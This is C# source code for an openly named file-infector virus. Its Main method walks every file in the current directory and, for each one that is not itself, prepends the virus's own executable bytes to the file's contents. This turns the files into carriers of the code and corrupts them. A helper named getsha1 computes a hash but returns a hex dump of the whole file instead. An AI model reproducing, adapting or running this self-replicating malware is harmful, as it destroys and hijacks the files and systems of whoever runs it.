public class infector
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string curdir = Directory.GetCurrentDirectory();
string[] files = Directory.GetFiles(curdir);
foreach(string filed in files)
{
if (getsha1(self.FullyQualifiedName)==getsha1(filed))
{
continue;
}
else //if not equal
{
try
{
infect(filed,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc.
}
catch
{
continue; //next file
}
}
}
}

public static void infect(string target, string source)
{
FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's read the target contents

FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code
bw.Write(xxx1);//then the content of target
bw.Close(); //to the target...
}

public static string getsha1(string filex)
{
FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(xxx1);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < xxx1.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", xxx1[counter]));
}
return hexString.ToString();
}
}